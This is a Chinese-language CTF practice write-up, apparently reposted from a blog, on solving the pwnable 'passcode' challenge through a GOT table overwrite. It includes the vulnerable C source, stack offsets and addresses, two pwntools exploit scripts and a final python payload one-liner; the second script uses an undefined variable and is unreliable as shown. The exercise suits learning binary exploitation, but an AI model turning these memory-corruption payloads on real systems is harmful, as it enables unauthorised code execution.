pwn 练习笔记 暑假的第二天 got表覆盖

pwnable passcode

1.ssh连上去看源码:

#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    

}

用下面这个命令把源码和程序下载到本地

scp -r -P 2222 [email protected]:/home/passcode/passcode.c /root/pwn

2.  没有思路,看了大佬的博客

https://blog.csdn.net/smalosnail/article/details/53027024

https://blog.csdn.net/smalosnail/article/details/53247502

scanf("%d",passcode1);passcode1没有加取地址符号&

如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址

将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system("/bin/cat flag")这条指令的地址写到这个GOT表中的函数。

当这个函数被调用时,就会直接执行system("/bin/cat flag")

用read -r passcode查看got表内容


ida打开后找到name,passcode1,passcode2的位置


name 的地址为0804862f,ebp+70

passcode1的地址为0804857c,ebp+10

所以name与passcode1的距离为96

找到system(‘/bin/sh’)

地址为080485e3

构造payload:我们覆盖printf的got表内容printf的地址为0804a000,然后将system(‘/bin/sh’)作为内容写入got表中

payload='a'*96+p32(0804a000)+srt(080485e3)

脚本如下:

from pwn import *
sh = process('./passcode')
printf_addr = 0x0804a000
binsh_addr = 0x080485e3
payload = 'a'*96+p32(printf_addr)+str(binsh_addr)

sh.send(payload)

sh.interactive()

自己写的脚本能拿shell但是执行命令就蹦,大佬覆盖的是fflush的got,我覆盖的是printf所以尝试一下大佬的方法

脚本为:

from pwn import *
sh = process('./passcode')
fllush_addr = 0x0804a004
binsh_addr = 0x080485e3
payload = 'a'*96+p32(printf_addr)+str(binsh_addr)

sh.send(payload)

sh.interactive()

事实证明,大佬的和我的一样情况,可能是在自己本地测试,所以把payload打出来,ssh连上去提交

(突然知道了会一堆乱码的原因,因为没有flag啊!那他读个锤子!!!)

python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode




猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81044578
今日推荐